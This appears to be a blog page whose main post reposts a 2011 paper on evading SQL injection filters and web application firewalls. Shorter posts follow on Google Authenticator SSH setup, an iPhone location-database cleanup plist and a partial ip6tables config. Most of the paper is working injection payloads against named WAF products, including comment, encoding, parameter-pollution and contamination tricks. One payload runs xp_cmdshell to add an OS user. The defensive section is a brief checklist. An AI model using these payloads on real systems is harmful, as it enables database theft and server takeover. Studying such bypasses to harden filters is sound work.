Beyond SQLi: Obfuscate and Bypass

October 6th, 2011
		|=--------------------------------------------------------------------=|
		|=--------------=[ Beyond SQLi: Obfuscate and Bypass ]=---------------=|
		|=-------------------------=[ 6 October 2011 ]=-----------------------=|
		|=----------------------=[  By CWH Underground  ]=--------------------=|
		|=--------------------------------------------------------------------=|
				

######
 Info
######

Title	: Beyond SQLi: Obfuscate and Bypass
Author	: "ZeQ3uL" (Prathan Phongthiproek) and "Suphot Boonchamnan"
Team    : CWH Underground [http://www.exploit-db.com/author/?a=1275]
Date	: 2011-10-06


##########
 Contents
##########

  [0x00] - Introduction

  [0x01] - Filter Evasion (Mysql)

		[0x01a] - Bypass Functions and Keywords Filtering
		[0x01b] - Bypass Regular Expression Filtering
		
  [0x02] - Normally Bypassing Techniques

  [0x03] - Advanced Bypassing Techniques

		[0x03a] - HTTP Parameter Pollution: Split and Join
		[0x03b] - HTTP Parameter Contamination
  		
  [0x04] - How to protect your website

  [0x05] - Conclusion

  [0x06] - References

  [0x07] - Greetz To


#######################
 [0x00] - Introduction
#######################

	Welcome readers, this paper is a long attempt at documenting advanced SQL injection we have been working on. 
This papers will disclose advanced bypassing and obfuscation techniques which many of them can be used in the real CMSs and WAFs. The proposed SQL injection statements in this paper are just some ways to bypass the protection. 
There are still some other techniques can be used to attacks web applications but unfortunately we cannot tell you right now, as it is kept as a 0-day attack. However, this paper aims to show that there is no completely secure system 
in the real world even though you spend more than 300,000 USD on a WAF.

	This paper is divided into 7 sections but only from section 0x01 to 0x03 are about technical information.

	Section 0x01, we give a details of how to bypass filter including basic, function and keyword.
Section 0x02, we offer normally bypassing techniques for bypass OpenSource and Commercial WAF.
Section 0x03, we talk in-depth Advanced bypassing techniques that separate into 2 section, "HTTP Parameter Contamination".
and "HTTP Pollution: Split and Join". Section 0x04, we guide to protect your own website on the right solution. 
The last, section 0x05, It's conclusion from Section 0x01-0x04.


#################################
 [0x01] - Filter Evasion (Mysql)
#################################
	
	This section will describe filter evasion behaviors based on PHP and MySQL and how to bypass the filtering. Filter Evasion is a technique used to prevent SQL injection attacks. This technique can be done by using a SQL functions and keywords filtering or regular expressions. 
This means that filter evasion relies heavily upon how storing a black list or regular expression is. If the black list or regular expression does not cover every injection scenario, the web application is still vulnerable to SQL Injection attacks.

	+++++++++++++++++++++++++++++++++++++++++++++++++++
	 [0x01a] - Bypass Functions and Keywords Filtering
	+++++++++++++++++++++++++++++++++++++++++++++++++++
	
		Functions and keywords filtering prevents web applications from being attacked by using a functions and keywords black list. If an attackers submits an injection code containing a keyword or SQL function in the black list, the injection will be unsuccessful. 
	However, if the attacker is able to manipulate the injection by using another keyword or function, the black list will fail to prevent the attack. In order to prevent attacks, a number of keywords and functions has to be put into the black list. However, this affects users 
	when the users want to submit input with a word in the black list. They will be unable to submit the input because it is being filtered by the black list. The following scenarios show cases of using functions and keywords filtering and bypassing techniques.

		
		Keyword filer: 		and, or
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or)/i', $id)

		THe keywords and, or are usually used as a simple test to determine whether a web application is vulnerable to SQL Injection attacks. Here is a simple bypass using &&, || instead of and, or respectively.

		Filtered injection:	1 or 1 = 1		1 and 1 = 1
		Bypassed injection:	1 || 1 = 1		1 && 1 = 1
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union)/i', $id)

		The keyword union is generally used to generate an malicious statement in order to select extra data from the database. 

		Filtered injection:	union select user, password from users
		Bypassed injection:	1 || (select user from users where user_id = 1) = 'admin'

		** Remark: you have to know table name, column name and some data in the table, otherwise you have to get it from information_schema.columns table using other statement 
		e.g. use substring function to get each character of table names.
		----------------------------------------------------------------------

		
		Keyword filer: 		and, or, union, where
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where)/i', $id)
		Filtered injection:	1 || (select user from users where user_id = 1) = 'admin'
		Bypassed injection:	1 || (select user from users limit 1) = 'admin'
		----------------------------------------------------------------------

		
		Keyword filer: 		and, or, union, where, limit
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit)/i', $id)
		Filtered injection:	1 || (select user from users limit 1) = 'admin'
		Bypassed injection:	1 || (select user from users group by user_id having user_id = 1) = 'admin'
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit|group by)/i', $id)
		Filtered injection:	1 || (select user from users group by user_id having user_id = 1) = 'admin'
		Bypassed injection:	1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
		----------------------------------------------------------------------

		
		Keyword filer: 		and, or, union, where, limit, group by, select
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
		Filtered injection:	1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
		Bypassed injection:	1 || 1 = 1 into outfile 'result.txt'
		Bypassed injection:	1 || substr(user,1,1) = 'a'
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, '
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
		Filtered injection:	1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
		Bypassed injection:	1 || user_id is not null
		Bypassed injection:	1 || substr(user,1,1) = 0x61
		Bypassed injection:	1 || substr(user,1,1) = unhex(61)
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, ', hex
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
		Filtered injection:	1 || substr(user,1,1) = unhex(61)
		Bypassed injection:	1 || substr(user,1,1) = lower(conv(11,10,36))
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, ', hex, substr
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
		Filtered injection:	1 || substr(user,1,1) = lower(conv(11,10,36))
		Bypassed injection:	1 || lpad(user,7,1)
		----------------------------------------------------------------------


		Keyword filer: 		and, or, union, where, limit, group by, select, ', hex, substr, white space
		----------------------------------------------------------------------
		PHP filter code:	preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
		Filtered injection:	1 || lpad(user,7,1)
		Bypassed injection:	1%0b||%0blpad(user,7,1)
		----------------------------------------------------------------------


		From the above examples, it can be seen that there are a number of SQL statements used for bypassing the black list although the black list contains many keywords and functions. 
	Furthermore, there are a huge SQL statements, that are not on the mentioned examples, that can be used to bypass the black list.

		Creating a bigger black list is not a good idea to protect your own websites. Remember, the more keywords and functions filtering, the less user friendly.


	+++++++++++++++++++++++++++++++++++++++++++++++
	 [0x01b] - Bypass Regular Expression Filtering
	+++++++++++++++++++++++++++++++++++++++++++++++

		Regular expression filtering is a better solution to prevent SQL injection than keywords and functions filtering because it is used pattern matching to detect attacks. Valid users are allowed to submit more flexible input to the server. 
	However, many regular expression can also be bypassed. The following examples illustrate injection scripts that used to bypass regular expressions in the OpenSource PHPIDS 0.6.

	PHPIDS generally blocks input containing = or ( or ' following with any a string or integer e.g. 1 or 1=1, 1 or '1', 1 or char(97). However, it can be bypassed using a statement that does not contain =, ( or ' symbols. 

	[Code]---------------------------------------------------------------		
	filtered injection:		1 or 1 = 1
	Bypassed injection:		1 or 1
	[End Code]----------------------------------------------------------- 

	[Code]---------------------------------------------------------------		
	filtered injection:		1 union select 1, table_name from information_schema.tables where table_name = 'users'
	filtered injection:		1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'
	filtered injection:		1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)
	Bypassed injection:		1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a
	Bypassed Injection:		1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
	[End Code]----------------------------------------------------------- 



########################################
 [0x02] - Normally Bypassing Techniques
########################################

	In this section, we mention about the techniques to bypass Web Application Firewall (WAF). First thing you need to know what's WAF?
	
	A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. 
Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, 
many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.
	WAFs are often called 'Deep Packet Inspection Firewalls' coz they look at every request and response within the HTTP/HTTPS/SOAP/XML-RPC/Web service lacers.
Some modern WAF systems work both with attack signatures and abnormal behavior.

	Now Let's rock to understand How to breach it with obfuscate, All WAFs can be bypassed with the time to understand their rules or using your imagination !!

	
	1. Bypass with Comments

		SQL comments allow us to bypass a lot of filtering and WAFs.
	
		[Code]---------------------------------------------------------------		
		http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
		[End Code]-----------------------------------------------------------


	2. Case Changing

		Some WAFs filter only lowercase SQL keyword.	

		Regex Filter: /union\sselect/g
	
		[Code]---------------------------------------------------------------		
		http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
		[End Code]-----------------------------------------------------------


	3. Replaced keywords

		Some application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily.	
	
		[Code]---------------------------------------------------------------		
		http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
		[End Code]-----------------------------------------------------------

		Some case SQL keyword was filtered out and replaced with whitespace. So we can use "%0b" to bypass.

		[Code]---------------------------------------------------------------		
		http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
		[End Code]-----------------------------------------------------------

		For Mod_rewrite, Comments "/**/" cannot bypassed. So we use "%0b" replace "/**/".

		Forbidden: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
		Bypassed : http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
	


	4. Character encoding

		Most CMSs and WAFs will decode and filter/bypass an application input, but some WAFs only decode the input once so 
		double encoding can bypass certain filters as the WAF will decode the input once then filter while application keep
		decoding the SQL statement executing
	
		[Code]-----------------------------------------------------------------------------------------------------------------
		http://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
		[End Code]-------------------------------------------------------------------------------------------------------------
				
		Moreover, these techniques can combine to bypass Citrix Netscaler
			- Remove all "NULL" words
			- Use query encoding in some parts
			- Remove the single quote character "'"
			- And Have fun !!
			Credit: Wendel Guglielmetti Henrique	
		
		and "Armorlogic Profense"  prior to 2.4.4 was bypassed by URL-encoded newline character.


		#Real World Example
		
		1. NukeSentinel (Nuke Evolution)
		
		[Nukesentinel.php Code]------------------------------------------------------------
		// Check for UNION attack
		// Copyright 2004(c) Raven PHP Scripts
		$blocker_row = $blocker_array[1];
		if($blocker_row['activate'] > 0) {
 		 if (stristr($nsnst_const['query_string'],'+union+') OR \
		stristr($nsnst_const['query_string'],'%20union%20') OR \
		stristr($nsnst_const['query_string'],'*/union/*') OR \
		stristr($nsnst_const['query_string'],' union ') OR \
		stristr($nsnst_const['query_string_base64'],'+union+') OR \
		stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
		stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
		stristr($nsnst_const['query_string_base64'],' union ')) {  // block_ip($blocker_row);
		   die("BLOCK IP 1 " );
		  }
		}
		[End Code]-------------------------------------------------------------------------

		We can bypass their filtering with these script:
		
		Forbidden: http://victim.com/php-nuke/?/**/union/**/select…..
		Bypassed : http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select…
		Bypassed : http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect…


		2. Mod Security CRS (Credit: Johannes Dahse)
		
		[SecRule]--------------------------------------------------------------------------
		SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
		t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
		msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
		tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
		setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
		setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
		[End Rule]-------------------------------------------------------------------------

		We can bypass their filtering with this code:
		
		[Code]------------------------------------------------------------------------------
		http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
		[End Code]--------------------------------------------------------------------------

		From this attack, We can bypass Mod Security rule. Let see what's happen !! 
		
		MySQL Server supports 3 comment styles:
			- From a "#" character to the end of the line
			- From a "--" sequence to the end of the line
			- From a /* sequence to the following */ sequence, as in the C programming language.
			  This syntax enables a comment to extend over multiple lines because the beginning and closing sequences need
			  not be on the same line.

		The following example, We used "%0D%0A" as the new line characters. Let's take a look at the first request(to extract the DB user)
		The resulting SQL payload looked something like this:

			0 div 1 union#foo*/*/bar
			select#foo
			1,2,current_user
		
		However the SQL payload, when executed by the MySQL DB, looked something like this:

			0 div 1 union select 1,2,current_user	


	5. Buffer Overflow

		WAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data.
		Give a large amount of data allows our code executing	
	
		[Code]------------------------------------------------------------------------------
		http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141
		414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
		[End Code]--------------------------------------------------------------------------

	
	6. Inline Comments (Mysql Only)

		From MySQL 5.0 Reference Manual, MySQL Server supports some variants of C-style comments. These enable you to write
		code that includes MySQL extensions, but is still portable, by using comments of the following form:

		/*! MySQL-specific code */
		
		In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement,
		but other SQL servers will ignore the extensions.
		
		A lot of WAFs filter SQL keywords like /union\sselect\ig We can bypass this filter by using inline comments.
		
		[Code]------------------------------------------------------------------------------
		http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
		[End Code]--------------------------------------------------------------------------
		
		Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can
		add more inline comments
	
		[Code]------------------------------------------------------------------------------
		http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables
		/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
		[End Code]--------------------------------------------------------------------------

		In a recent penetration test, we were able to bypass a Mod Security CRS and PentaSecurity-WAPPLE using this technique. More information show below:
		
		#################################################################################################################

		Vendor : Penta Security System
		Product: Wapple Web Application Firewall
		Patch released: 2011-10-02 (In SQL Injection Custom Policy Mode)
		Publish released: 2011-10-04
		Credit : Prathan Phongthiproek and Suphot Boonchamnan
	
		These scripts can all SQL Injection rules:	
			1 ||1=1
			1 /*!order by*/ 3
			1 /*!union select*/ 1,table_name from /*!information_schema.tables*/
			1 /*!union select*/ 1,column_name from /*!information_schema.columns where table_name = 0x7573657273*/
			1 /*!union select*/ /*!user,password*/ from /*!users*/
		################################################################################################################
		

	
########################################	
 [0x03] - Advanced Bypassing Techniques
########################################
		
	In this section, we offer 2 techniques are "HTTP Pollution: Split and Join" and "HTTP Parameter Contamination". 
From these techniques can bypass a lot of OpenSource and Commercial Web application firewall (WAF)
     
     
	++++++++++++++++++++++++++++++++++++++++++++++++++++
	 [0x03a] - HTTP Parameter Pollution: Split and Join
	++++++++++++++++++++++++++++++++++++++++++++++++++++

		HTTP Pollution is a new class of injection vulnerability by Luca Carettoni and Stefano Di Paola. HPP is a quite simple but
	effective hacking technique. HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting 
	query string. 

	Example of HPP: "http://victim.com/search.aspx?par1=val1&par1=val2"

	HTTP Parameter Handling: (Example)
	
	+------------------------------------------------------------------+
	| Web Server 	  | Parameter Interpretation	 | Example	   |
	+------------------------------------------------------------------+
	| ASP.NET/IIS	  | Concatenation by comma	 | par1=val1,val2  |
	| ASP/IIS	  | Concatenation by comma	 | par1=val1,val2  |
	| PHP/Apache	  | The last param is resulting  | par1=val2	   |
	| JSP/Tomcat	  | The first param is resulting | par1=val1	   |
	| Perl/Apache	  | The first param is resulting | par1=val1	   |
	| DBMan		  | Concatenation by two tildes  | par1=val1~~val2 |
	+------------------------------------------------------------------+
	
		What would happen with WAFs that do Query String parsing before applying filters ? (HPP can be used even to bypass WAFs)
	Some loose WAFs may analyze and validate a single parameter occurrence only (first or last one). Whenever the deal environment concatenates
	multiple occurrences (ASP, ASP.NET, DBMan,…) an aggressor can split the malicious payload.

		In a recent penetration test (Again), we were able to bypass a Imperva SecureSphere using "HPP+Inline Comment" on ASP/ASP.NET environment.
	This technique can bypass other Commercial WAFs too. More information about "HPP+Inline Comment" show below:	

	
	#Real World Example:

	1. Mod Security CRS (Credit: Lavakumar Kuppan)
		
		The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.
		
		Forbidden: http://victim.com/search.aspx?q=select name,password from users

		When the same payload is split against multiple parameters of the same name ModSecurity fails to block it.

		Bypassed : http://victim.com/search.aspx?q=select name&q=password from users

		
		Let's see what's happen, ModSecurity's interpretation is
		
		q=select name
		q=password from users

		ASP/ASP.NET's interpretation is
		q=select name,password from users

		*Tip: This attack can be carried out on a POST variable in a similar way


	2. Commercial WAFs
		
		Forbidden: http://victim.com/search.aspx?q=select name,password from users

		Now we use HPP+Inline comment to bypass it.

		Bypassed : http://victim.com/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/users

		
		Analyzing, WAF's interpretation is

		q=select/*
		q=*/name
		q=password/*
		q=*/from/*
		q=*/users
		
		ASP/ASP.NET's interpretation is
		q=select/*,*/name,password/*,*/from/*,*/users
		q=select name,password from users


	3. IBM Web Application Firewall (Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs)
		
		Forbidden: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT /add” --

		Now we use HPP+Inline comment to bypass it.

		Bypassed : http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer UrWaFisShiT” /*&id=1*/ --

		
		Analyzing, WAF's interpretation is

		id=1’; /*
		id=1*/ EXEC /*
		id=1*/ master..xp_cmdshell /*
		id=1*/ “net user zeq3ul UrWaFisShiT” /*
		id=1*/ --
		
		ASP/ASP.NET's interpretation is
		id=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user zeq3ul UrWaFisShiT” /*,1*/ --
		id=1’; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT” --
		

		The easiest mitigation to this attack would be for the WAF to disallow multiple instances of the same parameter in a single HTTP request. 
	This would prevent all variations of this attack.
		However this might not be possible in all cases as some applications might have a legitimate need for multiple duplicate parameters. 
	And they might be designed to send and accept multiple HTTP parameters of the same name in the same request.To protect these applications the WAF 
	should also interpret the HTTP request in the same way the web application would.

		
	++++++++++++++++++++++++++++++++++++++++
	 [0x03b] - HTTP Parameter Contamination
	++++++++++++++++++++++++++++++++++++++++

		HTTP Parameter Contamination (HPC) original idea comes from the innovative approach found in HPP research by 
	exploring deeper and exploiting strange behaviors in Web Server components, Web Applications and Browsers as a result of query string
	parameter contamination with reserved or non expects characters. 
	
	Some facts:
     	- The term Query String is commonly used to refer to the part between the  "?" and the end of the URI
	- As defined in the RFC 3986, it is a series of field-value pairs
	- Pairs are separated by "&" or ";"
	- RFC 2396 defines two classes of characters:
		Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
		Reserved  : ; / ? : @ & = + $ ,
		Unwise    : { } | \ ^ [ ] ` 

		Different web servers have different logic for processing special created requests. There are more web server, backend platform and special character combinations,
	but we will stop here this time.

	Query string and Web server response (Example)
	
	+-----------------------------------------------------------+
	| Query String	  |    Web Servers response / GET values    |
	+-----------------------------------------------------------+
	| 		  | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP	    |
	+-----------------------------------------------------------+
	| ?test[1=2	  | test_1=2	 	     | test[1=2	    |
	| ?test=%  	  | test=%		     | test=	    |
	| ?test%00=1	  | test=1	       	     | test=1	    |
	| ?test=1%001	  | NULL		     | test=1	    |
	| ?test+d=1+2	  | test_d=1 2		     | test d=1 2   |
	+-----------------------------------------------------------+
	
	Magic character "%" affect to ASP/ASP.NET	

	+--------------------------------------------------------------------+
	| 	Keywords     |        WAF   		  |  ASP/ASP.NET     |
	+--------------------------------------------------------------------+
	| sele%ct * fr%om..  | sele%ct * fr%om.. 	  | select * from..  |
	| ;dr%op ta%ble zzz  | ;dr%op ta%ble 
zzz
| ;drop table zzz | | <scr%ipt> | <scr%ipt> | <script> | | <if%rame> | <if%rame> | <iframe> | +--------------------------------------------------------------------+ #Real world examples: 1. Bypass Mod_Security SQL Injection rule (modsecurity_crs_41_sql_injection_attacks.conf) [Filtered]---------------------------------------------------------------------------------- [Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\bsys\\.user_objects\\b" at ARGS_NAMES:sys.user_objects. [file "/etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "110"] [id "959519"] [rev "2.2.0"] [msg "Blind SQL Injection Attack"] [data "sys.user_objects"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"] [End Code]------------------------------------------------------------------------------ Forbidden: http://localhost/?xp_cmdshell Bypassed : http://localhost/?xp[cmdshell 2. Bypass URLScan 3.1 DenyQueryStringSequences rule Forbidden: http://localhost/test.asp?file=../bla.txt Bypassed : http://localhost/test.asp?file=.%./bla.txt 3. Bypass AQTRONIX Webknight (WAF for IIS and ASP/ASP.Net) Forbidden: http://victim.com/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables) Bypassed : http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables) From this situation, Webknight use SQL keywords filtering when we use "HTTP contamination" by insert "%" into SQL keywords WAF is bypassed and sending these command to Web server: "id=10 and 1=0/(select top 1 table_name from information_schema.tables)" because "%" is cutter in web server. These types of hacking techniques are always interesting because they reveal new perspectives on security problems. Many applications are found to be vulnerable to this kind of abuse because there are no defined rules for strange web server behaviors. HPC can be used to extend HPP attack with spoofing real parameter name in the QUERY_STRING with "%" character on an IIS/ASP platform, if there is WAF who blocks this kind of an attack. ###################################### [0x04] - How to protect your website ###################################### - Implement Software Development Life Cycle (SDLC) - Secure Coding: Validate all inputs and outputs - PenTest before online - Harden it !! - Revisit PenTest - Deploy WAF (For Optional) - Always check WAF patch ##################### [0x05] - Conclusion ##################### - WAFs is not the long-expected - It's functional limitations, WAF is not able to protect a web app from all possible vulnerabilities - It's necessary to adapt WAF filter to the particular web app being protected - WAF doesn't eliminate a vulnerability, It just partly screens the attack vector ##################### [0x06] - References ##################### [1] WAF Bypass: SQL Injection - Kyle [2] http://cwe.mitre.org/data/definitions/98.html [3] HTTP Parameter Contamination - Ivan Markovic NSS [4] Split and Join - Lavakumar Kuppan [5] HTTP Parameter Pollution - Luca Carettoni and Stefano di Paola [6] blog.spiderlabs.com #################### [0x07] - Greetz To #################### Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 Special Thx : Exploit-db.com ---------------------------------------------------- Our disclosure purpose isn't helping security products but need to reveal theirs shit. Security Products not able to 100% protect from damn config/coding of admin. Just need a time and imagination for breach it !! ----------------------------------------------------

Use Google Authenticator to login to a Linux PC

June 14th, 2011

You can use this existing implementation and Google Authenticator application with SSH via an included PAM in the Google Authenticator open source application.

Download the Google Authenticator application

First, download and install Google Authenticator on your Iphone/Android/Blackberry.

Compile, install, configure Google authenticator PAM

You may need a few dependencies. On Debian I was missing ‘mercurial libqrencode3 libpam0g-dev’.

$ hg clone https://google-authenticator.googlecode.com/hg/ google-authenticator/
$ cd google-authenticator/libpam/
$ make
$ sudo make install
$ sudo vi /etc/pam.d/sshd

Add the following line to the end of /etc/pam.d/sshd (add at beginning if you want to request the verification code first, I prefer it last):
auth required pam_google_authenticator.so

You also need to update /etc/ssh/sshd_config and add/update:
ChallengeResponseAuthentication yes

Setup your user to require two-factor authentication

As a user, you can now run ‘google-authenticator’. This will generate a secret key, and add a file to your home directory that the newly installed PAM uses.

$ google-authenticator


Your new secret key is: APAXADA3AEAUAGAQ
Your verification code is 5618181
Your emergency scratch codes are:
14111017
14141013
11121019
14181616
13181615


Do you want me to update your "~/.google_authenticator" file (y/n) y

Do you want to disallow multiple uses of the same authentication
token? This restricts you to one login about every 30s, but it increases
your chances to notice or even prevent man-in-the-middle attacks (y/n) y

By default, tokens are good for 30 seconds and in order to compensate for
possible time-skew between the client and the server, we allow an extra
token before and after the current time. If you experience problems with poor
time synchronization, you can increase the window from its default
size of 1:30min to about 4min. Do you want to do so (y/n) n

If the computer that you are logging into isn't hardened against brute-force
login attempts, you can enable rate-limiting for the authentication module.
By default, this limits attackers to no more than 3 login attempts every 30s.
Do you want to enable rate-limiting (y/n) y


 

Note: The emergency scratch codes are one-time use verification codes in the event your phone is unavailable.

Configure this new secret key in Google Authenticator

In your Google Authenticator application on your phone, add this new secret key that was generated in the previous step. Note, a URL is also displayed, that can be scanned from your Google Authenticator application.

Wrapping up the setup

You will now need to restart SSH for the pam/ssh changes to activate.

At this point, you will want to stay logged into the server while you test in another shell.

Testing

Test that two-factor authentication is working.

$ ssh example.com
Password:
Verification code:
[user@host ~]$

Enter the verification code as shown on your phone.

Your SSH sessions are now protected with two factor authentication.

Regularly cleaning your consolidated.db file on the iPhone

April 29th, 2011

I made a little plist that clears out my consolidated.db on my (jailbroken) iphone.

Steps taken:

  1. connect to the iphone using ssh:
    1. $ iproxy 2222 22
    2. $ ssh mobile@localhost -p 2222
    3. enter password
  2. become root
    1. $ su -
    2. enter password
  3. go to the correct directory for launchdaemons
    1. # cd /Library/LaunchDaemons
  4. create a plist
    1. # nano eu.bethlehem.eu.cleartrackingdb.plist
  5. copy the code below into the plist
  6. add the plist to the launchcontroller
    1. # launchctl load eu.bethlehem.jf.cleartrackingdb.plist

All done &amp;#58;&amp;#41;

Code for in the plist:

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;
&lt;plist version="1.0"&gt;
&lt;dict&gt;
&lt;key&gt;Label&lt;/key&gt;
&lt;string&gt;eu.bethlehem.jf.cleartrackingdb&lt;/string&gt;
&lt;key&gt;ProgramArguments&lt;/key&gt;
&lt;array&gt;
&lt;string&gt;/usr/bin/sqlite3 /private/var/root/Library/Caches/locationd/consolidated.db 'DELETE FROM celllocation;vacuum;'&lt;/string&gt;
&lt;/array&gt;
&lt;key&gt;StartCalendarInterval&lt;/key&gt;
&lt;dict&gt;
&lt;key&gt;Minute&lt;/key&gt;
&lt;integer&gt;60&lt;/integer&gt;
&lt;/dict&gt;
&lt;/dict&gt;
&lt;/plist&gt;

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>eu.bethlehem.jf.cleartrackingdb</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/sqlite3 /private/var/root/Library/Caches/locationd/consolidated.db 'DELETE FROM celllocation;vacuum;'</string>
</array>
<key>StartCalendarInterval</key>
<dict>
<key>Minute</key>
<integer>60</integer>
</dict>
</dict>
</plist>

IPv6 ip6tables firewall configuration

January 17th, 2011

This is an IPv6 firewall configuration script, designed to be stateful.

File location: /etc/network/ip6tables
Distro: Debian stable (latest updates as of date-of-writing).


*filter

:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT DROP [0:0]
:in-new - [0:0]
# First, delete all:
-F
-X
# Allow anything on the local link
-A INPUT  -i lo -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
# Allow anything out on the internet
-A OUTPUT -o sixxs -j ACCEPT
# Allow the localnet access us:
-A INPUT    -i eth0   -j ACCEPT
-A OUTPUT   -o eth0   -j ACCEPT
# Filter all packets that have RH0 headers:
-A INPUT -m rt --rt-type 0 -j DROP
-A FORWARD -m rt --rt-type 0 -j DROP
-A OUTPUT -m rt --rt-type 0 -j DROP
# Allow Link-Local addresses
-A INPUT -s fe80::/10 -j ACCEPT
-A OUTPUT -s fe80::/10 -j ACCEPT
# Allow multicast
-A INPUT -s ff00::/8 -j ACCEPT
-A OUTPUT -s ff00::/8 -j ACCEPT
# Allow ICMPv6 everywhere
-I INPUT  -p icmpv6 -j ACCEPT
-I OUTPUT -p icmpv6 -j ACCEPT
-I FORWARD -p icmpv6 -j ACCEPT
# Allow forwarding
-A FORWARD -m state --state NEW -i eth0 -o sixxs -s <prefix>::/48 -j ACCEPT
-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
# SSH in
